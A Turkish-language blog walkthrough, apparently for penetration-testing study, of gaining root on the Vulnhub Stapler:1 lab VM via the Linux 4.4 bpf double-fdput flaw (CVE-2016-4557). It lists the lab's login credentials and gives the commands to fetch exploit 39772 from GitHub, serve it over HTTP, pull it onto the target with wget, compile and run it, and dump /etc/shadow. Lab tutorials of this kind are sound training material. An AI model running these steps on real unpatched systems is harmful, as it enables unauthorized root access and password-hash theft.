Linux Kernel 4.4.x (Ubuntu 16.04 LTS) İşletim Sistemindeki Hak Yükseltme Zafiyetinin (double-fdput()) İstismar Edilerek root Yetkileri ile Komut Satırının Elde Edilmesi

Linux sızma testleri sırasında standart haklar ile erişim sağlanabilmiş bir bilgisayarda, hak yükseltilerek yönetici hakları elde edilmeye çalışılır. Hak yükseltmek için kullanılan yöntemlerden birisi de işletim sistemindeki zafiyetlerin istismar edilmesidir. Bu yazıda, Linux Kernel 4.4.0-21 çekirdeğine ve Ubuntu 16.04 LTS işletim sistemine sahip Stapler:1 sanal makinesi üzerinde çalışan bir zafiyet istismar edilerek standart kullanıcı haklarından “root” kullanıcısı hakkı ile komut satırı / kabuk elde edilecektir.

Yazıda kullanılan Stapler:1 sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/stapler-1,150/

 

Bu makineye aşağıdaki bilgiler ile erişim sağlanabilir.

Kullanıcı Adı: SHayslett
Parola: SHayslett
veya
Kullanıcı Adı: peter
Parola: JZQuyIN5
veya
Kullanıcı Adı: JKanode
Parola: thisimypassword

Linux işletim sistemine standart yetkilerle elde edilen erişimde uygulama kullanıcısı (www) haklarına sahip olunduğu görülmektedir.

ssh -o PreferredAuthentications=keyboard-interactive,password -o PubkeyAuthentication=no JKanode@172.20.50.132
id
grep -Ev “/bin/false$|/usr/sbin/nologin$” /etc/passwd | head -3
grep -Ev “/bin/false$|/usr/sbin/nologin$” /etc/passwd | tail -10
cat /etc/shadow

 

İşletim sisteminin sürüm bilgilerine bakıldığında Ubuntu 16.04 LTS kullanıldığı ve Linux çekirdek sürümü 4.4.0-21-generic olduğu görülmektedir.

uname -a
cat /etc/*release*

 

Linux Kernel 4.4.x çikirdeğine sahip Ubuntu 16.x sisteminde “Linux Kernel 4.4.x (Ubuntu 16.04) – ‘double-fdput()’ bpf(BPF_PROG_LOAD) Privilege Escalation” isimli CVE-2016-4557 ID’li kritik bir zafiyet bulunmaktadır. Bu zafiyet kullanılarak belli yapılandırma ayarlarına sahip işletim sistemlerinde (Ubuntu 16.04 gibi) yetkisiz bir kod parçacığı bpf() fonksiyonunu çağırabilir ve hak yükseltilebilir.

searchsploit Ubuntu -t 16. -t 4.4 | grep linux/local
cat /usr/share/exploitdb/platforms/linux/local/39772.txt | head -11
cat /usr/share/exploitdb/platforms/linux/local/39772.txt | tail -20

 

Not: Meterpreter bağlantısı elde edilmişse MSF bpf_priv_esc post istismar modülü de kullanılabilir.

Bu zafiyeti istismar edecek sıkıştırılmış dosya saldırgan makinesine indirilir ve kurban makineden indirmek için web hizmeti açılır.

wget https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39772.zip
python -m SimpleHTTPServer 5555

 

Hedef sisteme bu dosya indirilir.

wget 172.20.50.128:5555/39772.zip
ls
unzip 39772.zip
tar xvf 39772/exploit.tar
cd ebpf_mapfd_doubleput_exploit

 

İndirilen kod 39772.txt dosyasında belirtilen şekilde komutlar çalıştırılır ve hak yükseltildiği görülür.

ls
./compile.sh
./doubleput
id
head -3 /etc/shadow
tail -3 /etc/shadow

 

Kaynaklar:

http://www.meryemakdoğan.com/vulnhub-stapler-writeup/

Hack the Stapler VM (CTF Challenge)


https://jhalon.github.io/vulnhub-stapler1/

 

 

Yazarın Bilgileri

Ertuğrul BAŞARANOĞLU
Ertuğrul BAŞARANOĞLU

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Kullanabileceğiniz HTLM etiketleri ve özellikleri: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

Bu sayfada incelenen konulardan doğacak sorunlar kişinin kendi sorumluluğundadır.